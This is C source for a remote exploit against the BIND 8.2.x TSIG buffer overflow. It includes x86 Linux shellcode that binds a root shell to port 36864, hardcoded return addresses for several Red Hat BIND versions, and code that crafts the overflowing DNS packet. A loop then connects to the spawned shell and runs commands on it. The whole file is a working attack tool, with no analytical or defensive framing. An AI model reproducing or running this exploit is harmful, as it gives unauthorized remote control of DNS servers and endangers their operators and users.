/* 
 * Bind remote Linux TSIG XPLOIT
 * By:
 *     Zhodiac <zhodiac@softhome.net>
 *
 * Binds a shell to port 36864
 */

#define max(x,y) (((x)>(y))?(x):(y))

#include <arpa/nameser.h>
#include <stdio.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <arpa/inet.h>
#include <string.h>

#define NS_T_TSIG	250
#define NUM_QR		3
#define NUM_ADDR	14
#define NOP		0x90
#define NUM_NOPS       	61
#define TYPE		0x00000001

char linuxcode[]=
"\x1b\xeb\x78\x5e\x29\xc0\x89\x46\x10\x40\x89\xc3\x89\x46\x0c\x40"
"\x89\x46\x08\x8d\x4e\x08\xb0\x66\xcd\x80\xeb\x01\x3C\x43\xc6\x46"
"\x10\x10\x66\x89\x5e\x14\x88\x46\x08\x29\xc0\x89\xc2\x89\x46\x18"
"\xb0\x90\x66\x89\x46\x16\x8d\x4e\x14\x89\x4e\x0c\x8d\x4e\x08\xb0"
"\x66\xcd\x80\x89\x5e\x0c\x43\x43\xb0\x66\xcd\x80\x89\x56\x0c\x89"
"\x56\x10\xb0\x66\x43\xcd\x80\xeb\x01\x2D\x86\xc3\xb0\x3f\x29\xc9"
"\xcd\x80\xb0\x3f\x41\xcd\x80\xb0\x3f\x41\xcd\x80\x88\x56\x07\x89"
"\x76\x0c\x87\xf3\x8d\x4b\x0c\xb0\x0b\xcd\x80\xe8\x83\xff\xff\xff"
"/bin/sh";

struct remote {
        char *osname;
        char *bindver;
        unsigned long ret;
        unsigned long evptr;
        int pad;
        char *shellcode; } 
  remote[] = { 
   { "RED HAT Linux", "8.2.2-P7 from source", 0xbffffad1, 0xbffffaa5, 2, linuxcode},
   { "RED HAT Linux", "8.2.2-P5 from source", 0xbffffad1, 0xbffffaa5, 2, linuxcode },
   { "RED HAT Linux", "8.2.2-P3 from source", 0xbffffad1, 0xbffffaa5, 2, linuxcode },
   { "RED HAT Linux", "8.2.2-REL from source", 0xbffffad1,0xbffffaa5, 2, linuxcode },
   { "RED HAT Linux", "8.2.1 from source", 0xbffffad1, 0xbffffaa5, 2, linuxcode },
   { "RED HAT 6.2", "8.2.2-P5 from rpm", 0xbffffad1, 0xbffffaa5, 2, linuxcode },
   { NULL, NULL, 0, 0, 0, NULL }
  };


/* JIZZ routine */
char *dnsaddlabel(char *p, char *label) {
 char *p1;
    
  while ((*label) && (label)) {
    if ((*label == '.') && (!*(label+1)))
      break;
    
    p1=strchr(label,'.');
      
    if (!p1)
      p1=strchr(label,0);
 
    *(p++)=p1-label;
    memcpy(p,label,p1-label);
    p+=p1-label;

    label=p1;
    if (*p1)
      label++;
  }
  *(p++)=0;
 
  return(p);
}
/* JIZZ routine */


long resolve(char *name) {
 struct hostent *hp;
 long ip;

  if ((ip=inet_addr(name))==-1) {
     if ((hp=gethostbyname(name))==NULL) {
          fprintf (stderr,"Can't resolve host name [%s].\n",name);
          exit(-1);
      }  
  memcpy(&ip,(hp->h_addr),4);
  }
  return(ip);
}


void usage(char *progname) {
int aux=0;

 printf("Usage: %s <host> [<type>]\n\n",progname);
 printf("Types:\n");
 
 while (remote[aux].osname!=NULL) {
 printf("%d) OS: \"%s\" BIND_VERSION: \"%s\"\n",aux,remote[aux].osname,remote[aux].bindver);
   aux++;
   }
 printf("\n");
 
 }

int proxyloop(int s) {

char snd[1024], rcv[1024];
fd_set rset;
int maxfd, n;

        strcpy(snd, "cd /; uname -a; pwd; id;\n");
        write(s, snd, strlen(snd));
        for (;;) {
                FD_SET(fileno(stdin), &rset);
                FD_SET(s, &rset);
                maxfd = max(fileno(stdin), s) + 1;
                select(maxfd, &rset, NULL, NULL, NULL);
                if (FD_ISSET(fileno(stdin), &rset)) {
                        bzero(snd, sizeof(snd));
                        fgets(snd, sizeof(snd) - 2, stdin);
                        write(s, snd, strlen(snd));
                }
                if (FD_ISSET(s, &rset)) {
                        bzero(rcv, sizeof(rcv));
                        if ((n = read(s, rcv, sizeof(rcv))) == 0)
                                exit(0);
                        if (n < 0) {
                                return -3;
                        }
                        fputs(rcv, stdout);
                }
        }
        return 0;
}



int main (int argc, char *argv[]) {
char buffer[1024], buf_aux[1024],*ch_ptr, *char_ptr;
HEADER *dns;
struct sockaddr_in addr,sin;
int sock,aux;
unsigned long * long_ptr;
int *int_ptr,num=0;

 printf("\nBind TSIG XPLOIT by Zhodiac <zhodiac@softhome.net>\n\n");

 if (argc<2) {
      usage(argv[0]);
      exit(-1);
      }

 if (argc==3) num=atoi(argv[2]);

 printf("Usign type: %d\n",num);
 printf("OS: %s\n",remote[num].osname);
 printf("BIND version: %s\n",remote[num].bindver);
 printf("Return Address: %#x\n",remote[num].ret);
 printf("EVPTR Address: %#x\n\n",remote[num].evptr);

 addr.sin_family=AF_INET;
 addr.sin_addr.s_addr=resolve(argv[1]);
 addr.sin_port=htons(53);

 if ((sock=socket(AF_INET, SOCK_DGRAM,0))<0) {
        perror("socket()");
        exit(-1);
        }
    
 sin.sin_family=AF_INET;
 sin.sin_addr.s_addr=INADDR_ANY;
 sin.sin_port=htons(7379);

 if (bind(sock,(struct sockaddr*)&sin,sizeof(sin))<0) {
       perror("bind()");
       exit(-1);
       }

 memset(buffer,0,sizeof(buffer));

 dns=(HEADER *)buffer;
 dns->id=7379;
 dns->qr=0; 
 dns->arcount=htons(1);
 dns->qdcount=htons(NUM_QR+2);

 ch_ptr=(char *)(++dns);
 
 for(aux=0;aux<NUM_QR;aux++) {
   ch_ptr=dnsaddlabel(ch_ptr,"zhodiac.!hispahack.com");	// NAME 
   PUTSHORT(T_A,ch_ptr);				// TYPE 
   PUTSHORT(C_IN,ch_ptr);				// CLASS
   }

 /* Shellcode */
 *ch_ptr=(char)(NUM_NOPS+2);		// NAME
 ch_ptr++;
 int_ptr=(int *)ch_ptr;
 for(aux=0;aux<5;aux++) *(int_ptr++)=TYPE;
 ch_ptr=(char*)int_ptr;
 memset(ch_ptr,NOP,NUM_NOPS-5*sizeof(int));
 ch_ptr+=NUM_NOPS-5*sizeof(int);
 *(ch_ptr++)=0xeb;  // jmp to 1 bytes to bypass "." 
 *(ch_ptr++)=0x01;
 
 *ch_ptr=(char)(NUM_NOPS+2);
 ch_ptr++;
 memset(ch_ptr,NOP,NUM_NOPS);
 ch_ptr+=NUM_NOPS;
 *(ch_ptr++)=0xeb;  // jmp to 1 bytes to bypass "."
 *(ch_ptr++)=0x01;

 memcpy(ch_ptr,remote[num].shellcode,strlen(remote[num].shellcode));
 ch_ptr+=strlen(remote[num].shellcode)+1;

 PUTSHORT(T_A,ch_ptr);					// TYPE
 PUTSHORT(C_IN,ch_ptr);					// CLASS 

 /* New Frame Stack */
 memset(buf_aux,0,sizeof(buf_aux));
 char_ptr=(char *)buf_aux;
 memcpy(char_ptr,"Zhodiac.&.[CrAsH]].",19);
 char_ptr+=19;
 long_ptr=(unsigned long *)char_ptr;
 for(aux=0;aux<NUM_ADDR;aux++) *(long_ptr++)=remote[num].ret-2*aux;
 char_ptr=(char *)long_ptr;
 memcpy(char_ptr,".ZHO",4);
 char_ptr+=4;
 long_ptr=(unsigned long *)char_ptr;
 for(aux=0;aux<NUM_ADDR;aux++) {
             if (aux>remote[num].pad) *(long_ptr++)=remote[num].evptr; 
                  else *(long_ptr++)=remote[num].ret-2*aux;
             }
                   
 ch_ptr=dnsaddlabel(ch_ptr,buf_aux);			// NAME
 PUTSHORT(T_A,ch_ptr);					// TYPE
 PUTSHORT(C_IN,ch_ptr);					// CLASS

 ch_ptr=dnsaddlabel(ch_ptr,"");				// NAME
 PUTSHORT(NS_T_TSIG,ch_ptr);				// TYPE
 PUTSHORT(T_ANY,ch_ptr);				// CLASS

 if (sendto(sock,buffer,ch_ptr-(char *)buffer,0,&addr,sizeof(addr))==1) {
    perror("send()");
    exit(-1);
    }

 /* Send null bytes in order to make named leave the select loop */
 if (sendto(sock,buffer,0,0,&addr,sizeof(addr))==1) {
    perror("send()");
    exit(-1);
    }
 
 close(sock);

 printf("1.- Overflow sent!!!\n");
 sleep(10);
 
 printf("2.- Connecting to the remote shell...\n");
 if ((sock=socket(AF_INET,SOCK_STREAM,0))<0) {
                perror("socket()");
                exit(-1);
                }
  
  addr.sin_port=htons(36864);

  if (connect(sock,(struct sockaddr *)&addr,sizeof(struct sockaddr))<0) {
                perror("connect()");
                exit(1);
                }
 
  printf("3.- Connected!!!!!!! Entering loop :)~~~\n\n");  

  proxyloop(sock);

 }


